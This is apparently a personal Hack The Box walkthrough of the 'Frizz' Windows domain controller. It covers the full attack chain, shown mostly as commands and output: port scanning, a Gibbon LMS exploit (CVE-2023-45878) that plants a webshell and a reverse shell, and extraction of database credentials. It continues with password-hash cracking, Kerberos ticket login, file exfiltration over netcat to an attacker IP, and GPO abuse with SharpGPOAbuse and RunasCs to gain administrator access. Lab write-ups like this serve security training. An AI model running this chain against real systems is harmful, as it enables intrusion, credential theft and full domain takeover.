HTB Frizz

```
nmap -p- 10.10.11.60
```

```
└─$ nmap 10.10.11.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 23:45 EDT
Nmap scan report for 10.10.11.60
Host is up (0.66s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

Nmap done: 1 IP address (1 host up) scanned in 45.72 seconds
```

```
nmap -sV --min-rate 2000 -p
22,53,80,88,135,139,389,445,464,593,636,3268,3269 -sC 10.10.11.60
```

```
└─$  nmap -sV --min-rate 2000 -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269 -
sC 10.10.11.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 00:00 EDT
Nmap scan report for 10.10.11.60
Host is up (0.81s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
```

```
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-30
10:59:39Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain:
frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-05-30T11:00:53
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 6h59m18s

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.40 seconds
```

```
enum4linux-ng -A 10.10.11.60 -oA results.txt
```

```
enum4linux -u 'guest' -p '' -a 10.10.11.60
```

HTTP enum

```
gobuster dir -u http://10.10.11.60 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --timeout
5s -x php,txt
```

```
Starting gobuster in directory enumeration mode
===============================================================
```

```
/home                   (Status: 301) [Size: 333] [--> http://10.10.11.60/home/]
/Home                   (Status: 301) [Size: 333] [--> http://10.10.11.60/Home/]
```

went there and found out use website GIBBON version 25
http://frizzdc.frizz.htb/Gibbon-LMS/index.php?loginReturn=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E

vulnerable to **CVE-2023-45878**

```
wget https://github.com/0xyy66/CVE-2023-45878_to_RCE/blob/main/CVE-2023-45878.sh
```

```
./CVE-2023-45878.sh 10.10.16.14 4444 10.10.11.60
```

```
/CVE-2023-45878.sh 10.10.16.14 4444 10.10.11.60
Generating TCP reverse shell
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: 7zip.exe
TCP reverse shell generated: 7zip.exe
Spawining a webshell on the target
Shell available at http://10.10.11.60/Gibbon-LMS/gibbon_myconfig.php?cmd=whoami
Python http.server started on port 80 - PID: 17658
10.10.11.60 - - [30/May/2025 03:43:44] "GET /7zip.exe HTTP/1.1" 200 -
Reverse shell uploaded
./CVE-2023-45878.sh: line 48: 17658 Killed                  python -m http.server $py_http_srv_port > /dev/null
Start a listener on port 4444, press ENTER when you are ready to execute the reverse shell on the target.
Netcat: nc -lnvp 4444
Msfconsole:  use exploit/multi/handler; set lhost 10.10.16.14; set lport 4444; run
```

make a listener, using netcat

```
nc -lnvp 4444
```

```
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.60] 62333
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\Gibbon-LMS>whoami
whoami
frizz\w.webservice
```

found credentials inside C:\xampp\htdocs\Gibbon-LMS\config.php

```
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
```

inside C:\xampp\mysql\bin

```
C:\xampp\mysql\bin>mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases"
```

```
C:\xampp\mysql\bin>mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases"
mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases"
Database
gibbon
information_schema
test
```

```
mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "use gibbon;select * from gibbon"
```

read gibbon person table

```
mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonPerson;"
```

```
mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonPerson;"
gibbonPersonID  title   surname firstName       preferredName   officialName
```

```
nameInCharacters        gender  username        passwordStrong  passwordStrongSalt
passwordForceReset      status  canLogin        gibbonRoleIDPrimary
gibbonRoleIDAll dob     email   emailAlternate  image_240       lastIPAddress
lastTimestamp   lastFailIPAddress       lastFailTimestamp       failCount
address1        address1District        address1Country address2address2District
address2Country phone1Type      phone1CountryCode       phone1  phone3Type
phone3CountryCode       phone3  phone2Type      phone2CountryCode       phone2
phone4Type      phone4CountryCode       phone4 website  languageFirst
languageSecond  languageThird   countryOfBirth  birthCertificateScan    ethnicity
religion        profession      employer        jobTitle        emergency1Name
emergency1Number1       emergency1Number2       emergency1Relationship
emergency2Name  emergency2Number1       emergency2Number2
emergency2Relationship  gibbonHouseID   studentID       dateStart       dateEnd
gibbonSchoolYearIDClassOf       lastSchool      nextSchool      departureReason
transport       transportNotes  calendarFeedPersonal    viewCalendarSchool
viewCalendarPersonal    viewCalendarSpaceBooking        gibbonApplicationFormID
lockerNumber    vehicleRegistration     personalBackground      messengerLastRead
privacy dayType gibbonThemeIDPersonal   gibboni18nIDPersonal    studentAgreements
googleAPIRefreshToken   microsoftAPIRefreshToken        genericAPIRefreshToken
receiveNotificationEmails       mfaSecret       mfaToken        cookieConsent
fields
0000000001      Ms.     Frizzle Fiona   Fiona   Fiona Frizzle           Unspecified
f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
/aACFhikmNopqrRTVz2489  N       Full    Y       001    001      NULL
f.frizzle@frizz.htb     NULL    NULL    ::1     2024-10-29 09:28:59     NULL    NULL
0
NULL             NULL    NULL    NULL
Y       Y       N       NULL                            NULL    NULL    NULL    NULL
NULL    NULL                            Y       NULL    NULL    NULL
```

```
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson;" -E
```

```
               surname: Frizzle
             firstName: Fiona
         preferredName: Fiona
          officialName: Fiona Frizzle
      nameInCharacters:
                gender: Unspecified
              username: f.frizzle
        passwordStrong:
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
```

```
       passwordStrongSalt: /aACFhikmNopqrRTVz2489
       passwordForceReset: N
                   status: Full
                 canLogin: Y
      gibbonRoleIDPrimary: 001
          gibbonRoleIDAll: 001
                      dob: NULL
                    email: f.frizzle@frizz.htb
```

crack with john

hash.txt

```
f.frizzle:$dynamic_82$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c
03$/aACFhikmNopqrRTVz2489
```

```
sudo ~/john/run/john --format=dynamic='sha256($s.$p)' --
wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

```
$ sudo ~/john/run/john --format=dynamic='sha256($s.$p)' --
wordlist=/usr/share/wordlists/rockyou.txt hash.txt
[sudo] password for kali:
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=sha256($s.$p) [128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Note: Passwords longer than 36 [worst case UTF-8] to 110 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Jenni_Luvs_Magic23 (f.frizzle)
1g 0:00:00:01 DONE (2025-05-30 06:06) 0.5587g/s 6156Kp/s 6156Kc/s 6156KC/s
Jer123..Jeepers93
Use the "--show --format=dynamic=sha256($s.$p)" options to display all of the
cracked passwords reliably
Session completed.
```

```
sudo ~/john/run/john --format=dynamic='sha256($s.$p)' --show hash.txt
```

```
sudo ~/john/run/john --format=dynamic='sha256($s.$p)' --show hash.txt

f.frizzle:Jenni_Luvs_Magic23
```

```
1 password hash cracked, 0 left
```

look for specific content in files

```
Get-ChildItem -Path C:\ -Filter "*.ini" -Recurse -ErrorAction SilentlyContinue |
```

```
ForEach-Object {
    Select-String -Path $_.FullName -Pattern "password" -SimpleMatch
}
```

```
Get-ChildItem -Path C:\xampp\ -Include .txt,.ini,*.log -Recurse -ErrorAction
SilentlyContinue |
```

```
ForEach-Object {
    Select-String -Path $_.FullName -Pattern "password" -SimpleMatch     }
```

TGT

before proceed change /usr/kerb5

```
[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB

[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true

[realms]
FRIZZ.HTB = {
kdc = FRIZZDC.FRIZZ.HTB
admin_server = FRIZZDC.FRIZZ.HTB
default_domain = FRIZZ.HTB
```

```
aaa
```

we use OpenSSH Port 22, which uses **KERBEROS to LOGIN into WINDOWS using SSH**

```
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
```

```
ntpdate frizzdc.frizz.htb
```

```
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip
frizzdc.frizz.htb
```

```
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its
affiliated companies

[*] Saving ticket in f.frizzle.ccache
```

```
export KRB5CCNAME=f.frizzle.ccache
```

```
ssh f.frizzle@frizz.htb -K
```

get user.txt in desktop

M.School Bus take over

in desktop there is backup file
unzip
find credentials

'M.schoolbus' '!suBcig@MehTed!R'

```
certipy find -u 'f.frizzle@frizz.htb' -p 'Jenni_Luvs_Magic23' \
```

```
-dc-ip '10.10.11.60' -stdout -vulnerable
```

UPLOAD from KALI TO WINDOWS

```
python3 -m http.server 80
```

```
Invoke-WebRequest -Uri http://10.10.16.14/nc.exe -OutFile
C:\Users\f.frizzle\Desktop\nc.exe
```

UPLOAD from WINDOWS to KALI

in kali

```
nc -lvnp 4444 > user.txt
```

```
Get-Content "C:\Users\f.frizzle\Desktop\20250530122207_output.zip" |
./nc.exe 10.10.16.14 4444
```

Uploaded sharphound

./sharphound.exe --CollectionMethods All --ZipFileName output.zip

MR BUS Esc

```
impacket-getTGT frizz.htb/'M.SchoolBus':'!suBcig@MehTed!R' -dc-ip
frizzdc.frizz.htb
```

```
export KRB5CCNAME=M.SchoolBus.ccache
```

```
ssh M.SchoolBus@frizz.htb -K
```

GPO Abuse

since M.SchoolBus have GPO permissions

```
Invoke-WebRequest -Uri http://10.10.16.14/SharpGPOAbuse.exe -OutFile
C:\Users\M.SchoolBus\Desktop\SharpGPOAbuse.exe
```

```
Invoke-WebRequest -Uri http://10.10.16.14/RunasCs.exe -OutFile
C:\Users\M.SchoolBus\Desktop\RunasCs.exe
```

create new GPO

```
New-GPO -Name pain | New-GPLink -Target "OU=DOMAIN
CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes
```

```
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName
pain --force
```

```
gpupdate /force
```

```
.\RunasCs.exe 'M.schoolbus' '!suBcig@MehTed!R' powershell.exe -r
10.10.16.14:5555
```

on kali

```
nc -lvnp 5555
```

type C:\Users\Administrator\Desktop\root.txt